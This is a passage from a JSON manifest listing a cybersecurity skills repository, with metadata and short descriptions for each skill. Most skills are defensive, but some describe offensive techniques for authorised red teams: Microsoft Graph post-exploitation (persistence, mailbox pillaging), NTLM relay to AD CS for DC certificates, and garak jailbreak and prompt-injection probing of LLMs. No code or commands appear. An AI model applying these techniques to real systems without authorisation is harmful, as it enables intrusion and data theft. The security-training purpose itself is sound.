monitoring.","domain":"cybersecurity","subdomain":"network-security","tags":["kismet","wireless-security","wifi-assessment","rogue-ap",802.11,"wardriving","wids","wireless-ids","rf-monitoring"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1573"]},"isInternal":false,"tokens":3290,"sizeBytes":13452},{"name":"template.md","path":"skills/performing-yara-rule-development-for-detection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-yara-rule-development-for-detection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":161,"sizeBytes":633},{"name":"api-reference.md","path":"skills/performing-yara-rule-development-for-detection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-yara-rule-development-for-detection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":543,"sizeBytes":1947},{"name":"standards.md","path":"skills/performing-yara-rule-development-for-detection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-yara-rule-development-for-detection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":360,"sizeBytes":1424},{"name":"workflows.md","path":"skills/performing-yara-rule-development-for-detection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-yara-rule-development-for-detection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":178,"sizeBytes":1764},{"name":"SKILL.md","path":"skills/performing-yara-rule-development-for-detection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-yara-rule-development-for-detection/SKILL.md","title":"performing-yara-rule-development-for-detection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2FSKILL.md -->","frontmatter":{"name":"performing-yara-rule-development-for-detection","description":"Develops precise YARA and YARA-X rules for malware detection by identifying unique strings, byte sequences, PE header traits, and behavioral indicators in unpacked malware artifacts while minimizing false positives. Use when building detection signatures for threat hunting, classifying malware families, or authoring rules from IOCs such as C2 URLs, mutex names, and encryption constants.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["yara","malware-detection","signature-development","threat-hunting","pattern-matching","yara-x","indicator-development"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497"]},"isInternal":false,"tokens":2844,"sizeBytes":11880},{"name":"api-reference.md","path":"skills/post-exploiting-microsoft-graph-with-graphrunner/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/post-exploiting-microsoft-graph-with-graphrunner/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":944,"sizeBytes":3696},{"name":"standards.md","path":"skills/post-exploiting-microsoft-graph-with-graphrunner/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/post-exploiting-microsoft-graph-with-graphrunner/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":389,"sizeBytes":1664},{"name":"SKILL.md","path":"skills/post-exploiting-microsoft-graph-with-graphrunner/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/post-exploiting-microsoft-graph-with-graphrunner/SKILL.md","title":"post-exploiting-microsoft-graph-with-graphrunner","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2FSKILL.md -->","frontmatter":{"name":"post-exploiting-microsoft-graph-with-graphrunner","description":"Runs GraphRunner, a PowerShell post-exploitation toolset built on the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth app injection, inbox rules), escalate privilege via group manipulation, and pillage mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during authorized red-team engagements against Microsoft 365/Entra ID tenants once you hold a Graph token.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["red-team","microsoft-graph","graphrunner","entra-id","oauth-abuse","account-manipulation","post-exploitation","m365"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-05"],"mitre_attack":["T1098"]},"isInternal":false,"tokens":2386,"sizeBytes":10383},{"name":"template.md","path":"skills/prioritizing-vulnerabilities-with-cvss-scoring/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/prioritizing-vulnerabilities-with-cvss-scoring/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":477,"sizeBytes":1417},{"name":"api-reference.md","path":"skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":611,"sizeBytes":1916},{"name":"standards.md","path":"skills/prioritizing-vulnerabilities-with-cvss-scoring/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/prioritizing-vulnerabilities-with-cvss-scoring/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":570,"sizeBytes":1766},{"name":"workflows.md","path":"skills/prioritizing-vulnerabilities-with-cvss-scoring/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/prioritizing-vulnerabilities-with-cvss-scoring/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":601,"sizeBytes":2874},{"name":"SKILL.md","path":"skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md","title":"prioritizing-vulnerabilities-with-cvss-scoring","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2FSKILL.md -->","frontmatter":{"name":"prioritizing-vulnerabilities-with-cvss-scoring","description":"The Common Vulnerability Scoring System (CVSS) is the industry standard framework maintained by FIRST (Forum of Incident Response and Security Teams) for assessing vulnerability severity. CVSS v4.0 (r","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-management","cve","cvss","risk","prioritization","nist"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2028,"sizeBytes":7550},{"name":"api-reference.md","path":"skills/processing-stix-taxii-feeds/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/processing-stix-taxii-feeds/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprocessing-stix-taxii-feeds%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":572,"sizeBytes":2282},{"name":"SKILL.md","path":"skills/processing-stix-taxii-feeds/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/processing-stix-taxii-feeds/SKILL.md","title":"processing-stix-taxii-feeds","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprocessing-stix-taxii-feeds%2FSKILL.md -->","frontmatter":{"name":"processing-stix-taxii-feeds","description":"Processes STIX 2.1 threat intelligence bundles delivered via TAXII 2.1 servers, normalizing objects into platform-native schemas and routing them to appropriate consuming systems. Use when onboarding new TAXII collection endpoints, automating bi-directional intelligence sharing with ISACs, or building pipeline validation for malformed STIX bundles. Activates for requests involving OASIS STIX, TAXII server configuration, MISP TAXII, or Cortex XSOAR feed integrations.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["STIX-2.1","TAXII-2.1","OASIS","MISP","CTI","IOC","threat-intelligence","NIST-SP-800-150"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589"]},"isInternal":false,"tokens":1718,"sizeBytes":6888},{"name":"api-reference.md","path":"skills/profiling-threat-actor-groups/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/profiling-threat-actor-groups/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprofiling-threat-actor-groups%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":558,"sizeBytes":2224},{"name":"SKILL.md","path":"skills/profiling-threat-actor-groups/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/profiling-threat-actor-groups/SKILL.md","title":"profiling-threat-actor-groups","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprofiling-threat-actor-groups%2FSKILL.md -->","frontmatter":{"name":"profiling-threat-actor-groups","description":"Develops comprehensive threat actor profiles for APT groups, criminal organizations, and hacktivist collectives by aggregating TTP documentation, historical campaign data, tooling fingerprints, and attribution indicators from multiple intelligence sources. Use when briefing executives on sector-specific threats, updating threat model assumptions, or prioritizing defensive controls against specific adversaries. Activates for requests involving MITRE ATT&CK Groups, Mandiant APT profiles, CrowdStrike adversary naming, or sector-specific threat briefings.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["MITRE-ATT&CK","threat-actor","APT","CrowdStrike","Mandiant","attribution","kill-chain","NIST-CSF"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1566"]},"isInternal":false,"tokens":1596,"sizeBytes":7282},{"name":"api-reference.md","path":"skills/recovering-deleted-files-with-photorec/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/recovering-deleted-files-with-photorec/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-deleted-files-with-photorec%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":527,"sizeBytes":2068},{"name":"SKILL.md","path":"skills/recovering-deleted-files-with-photorec/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/recovering-deleted-files-with-photorec/SKILL.md","title":"recovering-deleted-files-with-photorec","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-deleted-files-with-photorec%2FSKILL.md -->","frontmatter":{"name":"recovering-deleted-files-with-photorec","description":"Recovers deleted files from disk images and storage media using PhotoRec's file signature-based carving engine, which works regardless of file system damage or corruption. Use when recovering deleted or lost files from a forensic disk image, damaged storage device, or corrupted file system during evidence recovery.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","file-recovery","photorec","file-carving","data-recovery","evidence-recovery"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":2543,"sizeBytes":9298},{"name":"api-reference.md","path":"skills/recovering-from-ransomware-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/recovering-from-ransomware-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":459,"sizeBytes":1726},{"name":"standards.md","path":"skills/recovering-from-ransomware-attack/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/recovering-from-ransomware-attack/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":286,"sizeBytes":1069},{"name":"workflows.md","path":"skills/recovering-from-ransomware-attack/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/recovering-from-ransomware-attack/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":362,"sizeBytes":1403},{"name":"SKILL.md","path":"skills/recovering-from-ransomware-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/recovering-from-ransomware-attack/SKILL.md","title":"recovering-from-ransomware-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2FSKILL.md -->","frontmatter":{"name":"recovering-from-ransomware-attack","description":"Executes structured ransomware incident recovery following NIST/CISA frameworks: environment isolation, forensic evidence preservation, clean infrastructure rebuild, prioritized restoration from verified backups, credential reset, and Active Directory/database recovery in dependency order. Use when recovering from a ransomware attack, performing post-encryption restoration, or executing disaster recovery after ransomware encryption.\n","domain":"cybersecurity","subdomain":"ransomware-defense","tags":["ransomware","recovery","incident-response","backup","defense"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.DS-11","RS.MA-01","RC.RP-01","PR.IR-01"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"],"mitre_f3":{"version":"1.1","tactics":["positioning","monetization","defense-impairment"],"techniques":[{"id":"T1531","name":"Account Access Removal","tactic":"positioning","source":"attack"},{"id":"F1005","name":"Account Manipulation","tactic":"defense-impairment","source":"f3"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":3105,"sizeBytes":12776},{"name":"api-reference.md","path":"skills/red-teaming-llms-with-garak/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/red-teaming-llms-with-garak/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":833,"sizeBytes":3031},{"name":"standards.md","path":"skills/red-teaming-llms-with-garak/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/red-teaming-llms-with-garak/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":360,"sizeBytes":1474},{"name":"SKILL.md","path":"skills/red-teaming-llms-with-garak/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/red-teaming-llms-with-garak/SKILL.md","title":"red-teaming-llms-with-garak","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2FSKILL.md -->","frontmatter":{"name":"red-teaming-llms-with-garak","description":"Runs NVIDIA garak probe suites (jailbreak, prompt injection, data leakage, toxicity, and more) against an LLM endpoint - Hugging Face models, OpenAI-compatible APIs, or Bedrock - then interprets the resulting hit-rate report for triage. Use when baselining LLM security before/after deployment, validating that a guardrail or fine-tune reduces jailbreak/injection success rates, or producing evidence for an AI risk assessment.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","llm-red-teaming","garak","prompt-injection","jailbreak","vulnerability-scanning","data-leakage","mitre-atlas"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7"],"atlas_techniques":["AML.T0051","AML.T0054"]},"isInternal":false,"tokens":2898,"sizeBytes":11502},{"name":"api-reference.md","path":"skills/relaying-ntlm-for-adcs-esc8/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/relaying-ntlm-for-adcs-esc8/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":828,"sizeBytes":2656},{"name":"standards.md","path":"skills/relaying-ntlm-for-adcs-esc8/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/relaying-ntlm-for-adcs-esc8/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":498,"sizeBytes":1945},{"name":"SKILL.md","path":"skills/relaying-ntlm-for-adcs-esc8/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/relaying-ntlm-for-adcs-esc8/SKILL.md","title":"relaying-ntlm-for-adcs-esc8","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2FSKILL.md -->","frontmatter":{"name":"relaying-ntlm-for-adcs-esc8","description":"Uses Impacket's ntlmrelayx.py with a coercion tool (PetitPotam, Coercer, printerbug) to relay NTLM authentication from a coerced domain controller into the AD CS HTTP web-enrollment endpoint (ESC8), obtaining a DC certificate usable via Certipy for PKINIT/DCSync. Use during internal AD penetration tests or purple-team exercises when AD CS Web Enrollment lacks Extended Protection for Authentication.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","ntlm-relay","adcs","esc8","impacket","certipy","active-directory","privilege-escalation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1557.001"]},"isInternal":false,"tokens":2474,"sizeBytes":9412},{"name":"api-reference.md","path":"skills/remediating-s3-bucket-misconfiguration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/remediating-s3-bucket-misconfiguration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fremediating-s3-bucket-misconfiguration%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":637,"sizeBytes":2595},{"name":"SKILL.md","path":"skills/remediating-s3-bucket-misconfiguration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/remediating-s3-bucket-misconfiguration/SKILL.md","title":"remediating-s3-bucket-misconfiguration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fremediating-s3-bucket-misconfiguration%2FSKILL.md -->","frontmatter":{"name":"remediating-s3-bucket-misconfiguration","description":"Provides step-by-step procedures for remediating Amazon S3 bucket misconfigurations that expose sensitive data: enabling S3 Block Public Access, auditing bucket policies and ACLs, enforcing encryption, configuring access logging, and deploying automated remediation with AWS Config and Lambda. Use when AWS Config or Security Hub flags public or unencrypted S3 buckets, or preparing audit evidence for storage security controls.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["s3-security","bucket-misconfiguration","data-exposure","public-access-block","aws-config"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1530","T1537","T1580","T1573"]},"isInternal":false,"tokens":2912,"sizeBytes":11961},{"name":"api-reference.md","path":"skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-android-malware-with-jadx%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":542,"sizeBytes":2490},{"name":"SKILL.md","path":"skills/reverse-engineering-android-malware-with-jadx/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-android-malware-with-jadx/SKILL.md","title":"reverse-engineering-android-malware-with-jadx","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-android-malware-with-jadx%2FSKILL.md -->","frontmatter":{"name":"reverse-engineering-android-malware-with-jadx","description":"Reverse engineers malicious Android APK files using the JADX decompiler to read Java/Kotlin source, inspect manifest permissions, receivers, services, and native libraries, and identify data theft, C2 communication, privilege escalation, or overlay-attack behavior. Use when analyzing a suspected Android banking trojan, spyware, SMS stealer, or other flagged APK, or when investigating mobile malware or Android threats generally.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","Android","reverse-engineering","JADX","mobile-malware"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497","T1068"]},"isInternal":false,"tokens":3100,"sizeBytes":12820},{"name":"api-reference.md","path":"skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-dotnet-malware-with-dnspy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":632,"sizeBytes":2531},{"name":"SKILL.md","path":"skills/reverse-engineering-dotnet-malware-with-dnspy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-dotnet-malware-with-dnspy/SKILL.md","title":"reverse-engineering-dotnet-malware-with-dnspy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-dotnet-malware-with-dnspy%2FSKILL.md -->","frontmatter":{"name":"reverse-engineering-dotnet-malware-with-dnspy","description":"Reverse engineers .NET malware samples using the dnSpy decompiler and debugger to read C#/VB.NET source, deobfuscate code protected by tools like ConfuserEx or SmartAssembly, and extract hardcoded C2 configurations, keys, and credentials. Use when a sample is identified as a .NET assembly (e.g. AgentTesla, AsyncRAT, RedLine Stealer, Quasar RAT) and needs decompilation, deobfuscation, or config extraction.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","dotnet","reverse-engineering","dnSpy","decompilation"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1055","T1140","T1497"]},"isInternal":false,"tokens":3269,"sizeBytes":13270},{"name":"template.md","path":"skills/reverse-engineering-ios-app-with-frida/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ios-app-with-frida/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":312,"sizeBytes":1116},{"name":"api-reference.md","path":"skills/reverse-engineering-ios-app-with-frida/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ios-app-with-frida/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":453,"sizeBytes":1750},{"name":"standards.md","path":"skills/reverse-engineering-ios-app-with-frida/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ios-app-with-frida/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":339,"sizeBytes":1432},{"name":"workflows.md","path":"skills/reverse-engineering-ios-app-with-frida/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ios-app-with-frida/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":300,"sizeBytes":1724},{"name":"SKILL.md","path":"skills/reverse-engineering-ios-app-with-frida/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/reverse-engineering-ios-app-with-frida/SKILL.md","title":"reverse-engineering-ios-app-with-frida","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2FSKILL.md 